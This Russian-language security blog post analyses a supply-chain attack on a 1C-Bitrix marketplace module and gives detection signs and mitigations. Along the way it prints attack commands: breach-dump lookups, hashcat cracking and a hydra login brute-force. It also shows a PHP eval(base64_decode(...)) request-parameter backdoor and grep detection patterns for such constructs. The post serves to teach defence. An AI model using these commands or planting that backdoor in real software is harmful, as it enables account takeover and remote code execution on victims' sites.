CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

23 минуты между паролём с форума и заражением сотен интернет-магазинов: разбор атаки на supply chain 1С-Битрикс

Как утечка пароля программиста с постороннего форума трёхлетней давности едва не превратила модуль для интернет-магазинов в канал массового заражения — и что технически стоит за такими атаками на цепочку поставок.

Разбор CIOlogia

Supply chain атака — когда взламывают не саму жертву, а поставщика, которому жертва доверяет, — работает одинаково что в экосистеме Rust с 235 млн скачиваний пакетов, что в маленьком каталоге решений для 1С-Битрикс на 300 клиентов. Разница только в масштабе. Механика — идентичная: скомпрометированная учётная запись разработчика, публикация «обновления» с посторонним кодом, и счёт идёт на минуты между публикацией и обнаружением.

В разобранном случае студия распространяла модуль-надстройку для интернет-магазинов через общий каталог решений. Обновления клиенты получали автоматически — стандартная модель дистрибуции, знакомая любому, кто работал с npm, PyPI, cargo или маркетплейсом Bitrix. Именно эта автоматичность и превращает единственный скомпрометированный аккаунт в оружие массового поражения.

Как это эксплуатируется

Разберём атаку по шагам — от компрометации учётки до раздачи вредоносного кода клиентам.

Шаг 1. Поиск валидных учётных данных через сторонние утечки

Пароль разработчика утёк не из личного кабинета каталога решений, а с постороннего форума. Такие базы годами циркулируют в открытом и полуоткрытом доступе. Проверка «светится» ли конкретный e-mail/пароль в известных дампах делается тривиально:

# проверка e-mail по агрегаторам утечек
h8mail -t dev@example-studio.ru -bc breach_compilation.txt

# локальный поиск пары логин:хэш в собранных дампах
grep -i "dev@example-studio.ru" rockyou-breach-compilation.txt

# если попался только хэш — восстанавливаем брутфорсом по словарю
hashcat -m 3200 -a 0 hash.txt rockyou.txt --force

Типичный вывод при совпадении:

[+] dev@example-studio.ru:Studio2019! — found in "collection1.txt" (2019-01-07)
[+] Password reused across 3 known breaches

Дальше остаётся проверить, не используется ли этот же пароль там, где он даёт куда больше — в личном кабинете разработчика на маркетплейсе решений.

Шаг 2. Credential stuffing по личному кабинету каталога

Личные кабинеты каталогов решений (Bitrix Marketplace, аналогичные площадки для WordPress/1С) обычно не имеют жёсткой защиты от подбора при отсутствии 2FA — блокировка по IP или капча настроены слабо либо не настроены вовсе на форме логина для партнёров/разработчиков.

hydra -l dev@example-studio.ru -P leaked_passwords.txt \
  marketplace.example.ru https-post-form \
  "/login:email=^USER^&password=^PASS^:F=Неверный пароль"

Пример вывода при удачном подборе:

[80][http-post-form] host: marketplace.example.ru   login: dev@example-studio.ru   password: Studio2019!
1 of 1 target successfully completed, 1 valid password found

Ситуацию усугубляет практика «один пароль на всех разработчиков» — компрометация любого из сотрудников (текущего или уволенного) даёт доступ ко всей учётке публикации.

Шаг 3. Внедрение кода в обновление модуля

Получив доступ к личному кабинету, атакующий скачивает актуальный релиз модуля, добавляет вредоносную нагрузку и публикует «новую версию». Классический приём — обфусцированный бэкдор внутри легитимного файла плагина:

<?php
// маскировка под служебную функцию модуля
if (isset($_REQUEST['upd_check'])) {
    $p = base64_decode($_REQUEST['upd_check']);
    eval($p); // RCE через параметр запроса
}
?>

Такие вставки почти всегда выглядят похоже — eval(base64_decode(...)), system($_GET[...]), assert(), вызовы через create_function. Их легко искать статически:

grep -rniE "eval\(|base64_decode\(|assert\(|system\(|shell_exec\(" ./module_src/ \
  --include=*.php

# более прицельный поиск подозрительных конструкций
grep -rniE "eval\(\\\$_(GET|POST|REQUEST|COOKIE)" ./module_src/

После сборки пакета атакующий публикует его как штатное обновление — с точки зрения клиентской системы обновления это ничем не отличается от легитимного релиза: тот же личный кабинет, та же цифровая подпись пакета (если она вообще проверяется на стороне клиента), тот же канал доставки.

Шаг 4. Автоматическое распространение по клиентской базе

Клиентские инсталляции 1С-Битрикс с включённым автообновлением модулей забирают новый релиз без ручной проверки. За 23 минуты, что обновление провисело в каталоге, десятки инсталляций успели подтянуть заражённую версию — это стандартный цикл опроса обновлений раз в 15–30 минут у большинства инсталляций.

На стороне заражённого сайта такая закладка обычно даёт злоумышленнику полноценный веб-шелл, который легко найти инструментами вроде:

# сканирование известных путей веб-шеллов и подозрительных файлов
nuclei -u https://shop-example.ru -t exposures/backdoors/ -severity critical,high

# поиск изменённых/новых PHP-файлов с недавним временем модификации
find /var/www/shop-example.ru -name "*.php" -mtime -1 -printf "%T@ %p\n" | sort -n

Полутехнические признаки, по которым это ловится

  • В логах каталога решений — вход в личный кабинет с нового IP/User-Agent, отличного от привычной географии команды (проверяется через SELECT * FROM auth_log WHERE ip NOT IN (...) или аналогичный отчёт SIEM).
  • В истории публикаций — релиз модуля вне обычного графика выпуска (не привязан к тикету, коммиту, changelog).
  • Файловый diff между легитимной и подозрительной версией показывает изменения в файлах, не относящихся к заявленным в описании обновления фичам:
    diff -ru module_v1.4.2/ module_v1.4.3_suspicious/ | grep -E "^\+.*eval|^\+.*base64"
    
  • На сервере жертвы — исходящие соединения к незнакомым IP сразу после установки обновления, видимые через netstat -tupn или журнал файрвола.
  • Заголовки ответа скомпрометированного личного кабинета часто не меняются — злоумышленник использует легитимную сессию, поэтому WAF и антифрод на стороне маркетплейса эту активность не отлавливают: с точки зрения площадки это «обычный разработчик, зашедший под своим паролем».

Что и почему сработало бы дальше

Если бы откат не произошёл за 23 минуты, а вредоносная версия провисела сутки-другие, цепочка развития атаки выглядела бы так:

  • Массовое заражение витрин. Веб-шелл на каждом сайте, куда прилетело обновление, даёт полный контроль над файловой системой и базой данных интернет-магазина — включая таблицы заказов и хранимые данные покупателей.
  • Кража платёжных данных и подмена реквизитов. Типичный следующий шаг для такого доступа — JS-скиммер, встраиваемый в страницу оформления заказа, либо подмена номера счёта/QR-кода для оплаты.
  • Горизонтальное перемещение. С доступа к серверу интернет-магазина — попытка достучаться до соседних сервисов через smbclient, ssh с найденными в конфигах паролями, дальнейшая разведка через nmap -sV -p- target-range.
  • Монетизация доступа. Продажа доступов к сотням заражённых магазинов на теневых форумах — это отдельный товар, спрос на который стабилен именно потому, что один взлом даёт сразу пул жертв.
  • Репутационный обвал у самой студии. Первая же новость «через модуль X заразили интернет-магазины» — и решение массово удаляют из инсталляций, независимо от того, кто на самом деле виноват: клиенты не разбираются в деталях компрометации, они просто уходят к конкурентам.

Как закрыть

Работа строится не вокруг «смените пароль», а вокруг того, чтобы компрометация одной учётки физически не могла привести к рассылке кода без независимой проверки.

  • Обязательная 2FA на всех аккаунтах публикации. Для личных кабинетов каталогов решений — TOTP (Google Authenticator, Authy) как минимум, в идеале — аппаратные ключи (FIDO2/WebAuthn) для тех, у кого есть право публикации релизов.
  • Персональные учётки вместо общего пароля. Каждый разработчик — со своим логином и минимально достаточными правами: право загрузить черновик релиза отдельно от права опубликовать его для всех клиентов.
  • Ревизия перед публикацией (four-eyes principle). Ни один релиз не уходит в прод без подтверждения вторым человеком — по аналогии с обязательным code review перед мержем в main:
    # пример правила защищённой ветки в GitLab/GitHub
    required_approving_review_count: 1
    require_code_owner_reviews: true
    dismiss_stale_reviews_on_push: true
    
  • Автоматическая проверка на признаки закладок перед релизом. CI-шаг со статическим сканером на подозрительные конструкции:
    # .gitlab-ci.yml фрагмент
    security_scan:
      script:
        - grep -rniE "eval\(|base64_decode\(|assert\(|system\(" ./src && exit 1 || exit 0
    
  • Мониторинг входов и алерты в реальном времени. Уведомление ответственному в мессенджер при входе с нового устройства/IP — не заменяет 2FA, но сокращает время обнаружения с недель до минут.
  • Регулярная сверка паролей команды с базами утечек. Не разово, а на периодической основе — например, ежеквартальный прогон корпоративных e-mail через сервисы проверки утечек с принудительной сменой при совпадении.
  • Аудит доступов бывших сотрудников. Отдельный регламент: увольнение = чек-лист из отзыва доступа к каталогу решений, репозиторию, CI/CD, облачным хранилищам — в день увольнения, а не «когда вспомнят».
  • Подпись релизов. Если площадка дистрибуции поддерживает подписание пакетов (GPG/цифровая подпись) — включить обязательную проверку подписи на стороне клиента перед установкой обновления, чтобы даже скомпрометированный личный кабинет не позволял опубликовать код без приватного ключа подписи, который хранится отдельно и защищённо.

Три года без смены пароля и без второго фактора на учётке, через которую код расходится сразу сотням клиентов, — это не разовая недоработка, а системный риск, который рано или поздно реализуется. В этот раз повезло: заметили и откатили за 23 минуты. Экосистемы уровня Rust или npm с сотнями миллионов скачиваний той же удачи не всегда дожидаются.